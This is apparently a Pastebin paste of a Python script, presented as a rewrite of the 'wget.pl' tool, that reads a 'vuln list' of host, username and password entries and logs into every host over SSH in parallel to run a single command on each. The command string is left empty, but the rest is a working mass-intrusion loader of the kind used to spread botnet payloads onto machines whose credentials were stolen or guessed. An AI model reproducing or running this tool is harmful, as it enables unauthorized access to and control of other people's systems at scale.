Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # I made a replica of wget.pl but in Python. I know there is another wget.py, but that shit is broken af xD
- import sys
- import time
- import socket
- import paramiko
- import warnings
- import multiprocessing
- from termcolor import colored
- cmd = "" # Command to execute
- paramiko.util.log_to_file("/dev/null")
- warnings.simplefilter(action="ignore", category=FutureWarning)
- if len(sys.argv) < 2:
- print("Usage: %s [Vuln List]" % sys.argv[0])
- quit()
- with open(sys.argv[1], "r") as fd:
- lines = fd.readlines()
- print("Since I am awesome af, I decided to rewrite \"wget.pl\" in Python...")
- print("Discord: Drqonic#0674")
- raw_input("Press Enter to continue...")
- def auth(creds):
- try:
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- ssh.connect(creds[0], port=22, username=creds[1], password=creds[2], timeout=5)
- stdin, stdout, stderr = ssh.exec_command(cmd)
- print(colored("Command executed on: %s:%s:%s", "green") % (creds[0], creds[1], creds[2]))
- time.sleep(10)
- ssh.close()
- except paramiko.ssh_exception.AuthenticationException:
- print(colored("Unable to login using: %s:%s:%s", "blue") % (creds[0], creds[1], creds[2]))
- pass
- except socket.error:
- print(colored("Unable to connect to: %s", "red") % (creds[0]))
- pass
- except:
- pass
- for line in lines:
- creds = line.strip().split(":")
- multiprocessing.Process(target=auth, args=(creds,)).start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement